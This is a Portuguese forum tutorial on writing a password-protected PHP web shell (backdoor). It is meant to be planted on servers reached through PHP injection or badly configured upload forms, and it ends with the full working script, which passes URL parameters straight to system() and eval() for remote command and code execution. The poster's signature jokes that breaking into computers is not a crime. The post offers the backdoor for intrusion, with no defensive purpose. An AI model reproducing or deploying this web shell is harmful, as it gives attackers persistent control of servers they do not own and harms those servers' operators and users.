Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Desenvolvendo uma shell com PHP

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Desenvolvendo uma shell com PHP

    Apesar de haverem poucos sites vulneráveis a PHPi e formulários de upload mal-configurados, é possível encontrar vulnerabilidades, principalmente nos arquivos mais esquecidos dos sistemas utilizados em larga escala (como o PHPNuke, PHPBB, entre outros).
    Neste tutorial estarei mostrando como desenvolver um backdoor em PHP que permite acesso ao shell do servidor, além de poder executar códigos PHP instantâneos.

    Seu uso será por uma caixa de texto na tela. Todo o tráfego de dados será pelo método GET (ou seja, pela URL).

    Vamos iniciar o script:
    Código PHP:
    <?php
    Vamos começar pedindo uma senha, afinal, outro hacker não pode aproveitar de seu shell, porque é seu. Você não lhe deu permissão para isso. Vamos armazenar sua senha na variável $senha. Caso você queira uma senha ainda maior, pode criptografar com MD5, SHA1 ou o que quiser. Aqui, minha senha será own
    Código PHP:
    <?php
    $senha 
    "own";
    Agora, vamos ver se o usuário já digitou a senha.
    Código PHP:
    $senhadigitada addslashes($_GET['senhadigitada']); // pegamos a senha digitada

    if($senhadigitada=="") { // se a senha digitada for nula (o usuário ainda nao digitou)
     
    echo "<html> \n<head> \n<title>shell</title>\n </head> \n <body> \n Digite a senha e pressione Enter. <form action=\"\"> <input type=\"password\" name=\"senhadigitada\"> </form> </body> </html>"// mostramos o formulário, lembrando que \n é uma linha pulada

    Agora, vamos ver se a senha está incorreta.
    Código PHP:
    elseif ($senhadigitada!=$senha) { // se a senha digitada não for igual à senha 
    echo "<script> alert('Senha incorreta'); "// mostra a mensagem Senha incorreta
    echo "history.go(-1) </script>"// e voltamos para a página anterior
    exit; // e paramos o script

    Mas, e se a senha estiver correta? Para melhorar a organização, vamos criar uma função para isso. Se chamará principal().
    Código PHP:
    else {
    principal();

    Então, vamos começar nossa função. Na tela principal haverá duas caixas: uma para digitar comandos do shell e outra para digitar um bloco de código PHP. Para facilitar, vamos armazenar todo o formulário em uma variável. Por segurança, vamos pedir novamente a senha.

    Código PHP:
    function principal() {
    $formulario '<form action="">
    Senha: 
    <br><input type="password" name="senhadigitada"><hr>
    Código shell:
    <br><input type="text" name="shell"><br><br>
    Código PHP:
    <br><textarea name="php"></textarea><br><br>
    <input type="submit" value="Executar!">
    </form>'
    // terminamos de escrever o formulário todo em uma var 
    Vamos usar duas funções nativas do PHP. A função Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... para executar a shell e a função Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... para executar códigos PHP. Armazenaremos os resultados na Array $resultado, com ['shell'] e ['php'].
    Código PHP:
    $resultado = Array(); // definimos a variável $resultado como um array, ainda vazio
    $resultado['shell'] = system($_GET['shell']); // pegamos o resultado do shell
    $resultado['php'] = eval($_GET['php']); // pegamos o resultado do php 
    Vamos mostrar os resultados e também o formulário, além de fechar a função.
    Código PHP:
    echo "Shell <br> Olá, Owner!<hr> " $formulario "<hr> PHP: <br><textarea rows=\"5\" cols=\"30\">" $resultado['php'] . "</textarea><br><br>Shell: <textarea rows=\"5\" cols=\"40\">" $resultado['shell'] . "</textarea>"// mostramos tudo
    // fechamos a função 
    Agora, é importante notar uma coisa: nós primeiramente chamamos a função e depois a declaramos. Em algumas versões do PHP, isto não funcionará. Por segurança, é bom você trocar de lugar, colocando a função logo abaixo da declaração da variável $senha.

    No fim, vamos terminar o script, colocando um exit; para prevenir possíveis malwares vindos do servidor (já que estes adicionam seu código ao final do script, um exit antes anula seu efeito).

    Código PHP:
    exit;
    ?> 
    Terminamos assim:
    Código PHP:
    <?php
    $senha 
    "own";

    function 
    principal() {
    $formulario '<form action="">
    Senha: 
    <br><input type="password" name="senhadigitada"><hr>
    Código shell:
    <br><input type="text" name="shell"><br><br>
    Código PHP:
    <br><textarea name="php"></textarea><br><br>
    <input type="submit" value="Executar!">
    </form>'
    // terminamos de escrever o formulário todo em uma var

    $resultado = Array(); // definimos a variável $resultado como um array, ainda vazio
    $resultado['shell'] = system($_GET['shell']); // pegamos o resultado do shell
    $resultado['php'] = eval($_GET['php']); // pegamos o resultado do php

    echo "Shell <br> Olá, Owner!<hr> " $formulario "<hr> PHP: <br><textarea rows=\"5\" cols=\"30\">" $resultado['php'] . "</textarea><br><br>Shell: <textarea rows=\"5\" cols=\"40\">" $resultado['shell'] . "</textarea>"// mostramos tudo
    // fechamos a função

    $senhadigitada addslashes($_GET['senhadigitada']); // pegamos a senha digitada

    if($senhadigitada=="") { // se a senha digitada for nula (o usuário ainda nao digitou)
     
    echo "<html> \n<head> \n<title>shell</title>\n </head> \n <body> \n Digite a senha e pressione Enter. <form action=\"\"> <input type=\"password\" name=\"senhadigitada\"> </form> </body> </html>"// mostramos o formulário, lembrando que \n é uma linha pulada
    }

    elseif (
    $senhadigitada!=$senha) { // se a senha digitada não for igual à senha 
    echo "<script> alert('Senha incorreta'); "// mostra a mensagem Senha incorreta
    echo "history.go(-1) </script>"// e voltamos para a página anterior
    exit; // e paramos o script
    }

    else {
    principal();
    }

    exit;
    ?>
    E está aí nosso shell. Qualquer dúvida, Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads
X
Working...
X